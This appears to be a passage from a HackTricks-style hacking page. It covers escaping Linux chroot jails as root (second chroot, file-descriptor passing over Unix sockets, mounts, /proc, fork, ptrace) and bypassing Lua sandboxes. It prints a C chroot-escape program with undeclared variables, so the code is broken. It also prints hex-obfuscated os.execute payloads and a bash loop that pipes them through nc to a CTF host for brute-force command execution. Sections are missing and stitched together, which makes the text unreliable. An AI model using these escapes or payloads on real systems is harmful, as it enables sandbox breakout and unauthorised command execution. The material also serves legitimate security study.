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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.\
Usually this means that to escape you need to be root inside the chroot.
{% hint style="success" %}
The **tool** [**chw00t**](https://github.com/earthquake/chw00t) was created to abuse the following escenarios and scape from `chroot`.
{% endhint %}
### Root + CWD
{% hint style="warning" %}
If you are **root** inside a chroot you **can escape** creating **another chroot**. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then **create a new chroot** on that new folder being **you outside of it**, you will now be **outside of the new chroot** and therefore you will be in the FS.
This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it.
{% endhint %}
Usually you won't find the `chroot` binary inside a chroot jail, but you **could compile, upload and execute** a binary:
This is similar to the previous case, but in this case the **attacker stores a file descriptor to the current directory** and then **creates the chroot in a new folder**. Finally, as he has **access** to that **FD****outside** of the chroot, he access it and he **escapes**.
{% endhint %}
<details>
<summary>C: break_chroot.c</summary>
```c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
//gcc break_chroot.c -o break_chroot
int main(void)
{
mkdir("tmpdir", 0755);
dir_fd = open(".", O_RDONLY);
if(chroot("tmpdir")){
perror("chroot");
}
fchdir(dir_fd);
close(dir_fd);
for(x = 0; x <1000;x++)chdir("..");
chroot(".");
}
```
</details>
### Root + Fork + UDS (Unix Domain Sockets)
{% hint style="warning" %}
FD can be passed over Unix Domain Sockets, so:
* Create a child process (fork)
* Create UDS so parent and child can talk
* Run chroot in child process in a different folder
* In parent proc, create a FD of a folder that is outside of new child proc chroot
* Pass to child procc that FD using the UDS
* Child process chdir to that FD, and because it's ouside of its chroot, he will escape the jail
{% endhint %}
###  Root + Mount
{% hint style="warning" %}
* Mounting root device (/) into a directory inside the chroot
* Chrooting into that directory
This is possible in Linux
{% endhint %}
### Root + /proc
{% hint style="warning" %}
* Mount procfs into a directory inside the chroot (if it isn't yet)
* Look for a pid that has a different root/cwd entry, like: /proc/1/root
* Chroot into that entry
{% endhint %}
### Root(?) + Fork
{% hint style="warning" %}
* Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it
* From the parent process, move the folder where the child process is in a folder previous to the chroot of the children
* This children process will find himself outside of the chroot
{% endhint %}
### ptrace
{% hint style="warning" %}
* Time ago users could debug its own processes from a process of itself... but this is not possible by default anymore
* Anyway, if it's possible, you could ptrace into a process and execute a shellcode inside of it ([see this example](linux-capabilities.md#cap\_sys\_ptrace)).
In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
Some tricks to **call functions of a library without using dots**:
```bash
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
```
Enumerate functions of a library:
```bash
for k,v in pairs(string) do print(k,v) end
```
Note that every time you execute the previous one liner in a **different lua environment the order of the functions change**. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library:
```bash
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
